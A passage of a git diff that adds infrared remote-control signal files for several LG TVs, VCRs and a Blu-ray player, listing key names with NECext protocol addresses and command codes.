KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: arc +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: blank +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 84 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 92 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A4 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A5 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AD 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir new file mode 100644 index 000000000..458b98bc0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: qview +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: t.opt +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: av_mode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: q.menu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: simplink +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: energy_saving +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AB 00 00 00 +# +name: tvradio +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir new file mode 100644 index 000000000..25cacc1a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: q.view +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: exit2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: t.opt +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: avmode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: q.menu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: ellow +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: ratio +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: simplink +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: energy +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AB 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B1 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BA 00 00 00 +# +name: tvrad +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir new file mode 100644 index 000000000..1674dc262 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNEL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: KEY_CONFIG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: MYAPPS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: KEY_PROPS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: APP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: KEY_PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AB 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B1 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BA 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BD 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir new file mode 100644 index 000000000..b6b7cccd0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: tvvcr +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 3F 00 00 00 +# +name: lp +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 89 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B6 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B8 00 00 00 +# +name: cmskip +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir new file mode 100644 index 000000000..0db35a6df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 36 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 40 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 41 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 42 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 43 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 44 00 00 00 +# +name: X_KEY_RETURN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 45 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 48 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 50 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 50 00 00 00 +# +name: KEY_AB +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5A 00 00 00 +# +name: X_KEY_PIP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5F 00 00 00 +# +name: X_KEY_MARKER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 61 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 62 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 64 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 67 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 75 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 76 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: X_KEY_RESOLUTION +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F5 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir new file mode 100644 index 000000000..48896f6a6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: C/LOCK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 3F 00 00 00 +# +name: LP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 89 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 +# +name: EZ_REPEAT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B6 00 00 00 +# +name: EZ_POWER_OFF +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B8 00 00 00 +# +name: CM_SKIP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir new file mode 100644 index 000000000..4e554b06f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE 